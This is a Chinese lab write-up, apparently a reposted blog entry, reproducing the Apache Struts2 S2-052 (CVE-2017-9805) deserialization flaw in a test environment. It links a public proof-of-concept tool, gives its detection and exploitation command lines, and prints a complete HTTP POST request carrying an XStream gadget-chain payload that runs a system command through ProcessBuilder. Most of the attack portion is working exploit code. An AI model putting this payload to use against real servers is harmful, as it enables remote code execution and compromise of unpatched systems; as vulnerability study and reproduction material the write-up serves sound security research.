s2-052漏洞复现利用 CVE-2017-9805

转载已于 2022-04-20 11:20:53 修改 · 1.3k 阅读

0 ·

本内容遵循CC 4.0 BY-SA版权协议

原文链接：https://www.cnblogs.com/micr067/p/11626531.html

标签

#web安全

于 2022-04-20 11:19:26 首次发布

漏洞复现专栏收录该内容

1 篇文章

订阅专栏

S2-052（CVE-2017-9805）环境：

VulApps/s/struts2/s2-052 at master · Medicean/VulApps · GitHub

访问 http://你的 IP 地址:端口号/

漏洞poc检测与利用

poc下载：

https://github.com/Lone-Ranger/apache-struts-pwn_CVE-2017-9805

检测到漏洞存在：

python apache-struts-pwn.py -u 'http://192.168.190.135:8080/orders/3/edit'

漏洞利用写入文件

python apache-struts-pwn.py --exploit --url 'http://example.com/struts2-showcase/index.action' -c 'echo test > /tmp/apache-struts-pwn'

POST /orders/3 HTTP/1.1

Host: 192.168.190.135:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/xml

Content-Length: 2415

Connection: close

Referer: http://192.168.190.135:8080/orders/3/edit

Cookie: JSESSIONID=8FCB55C3A30CB6059D3530A01C3E6FA0

Upgrade-Insecure-Requests: 1

DNT: 1

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>touch</string>
                        <string>/tmp/success</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer/>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>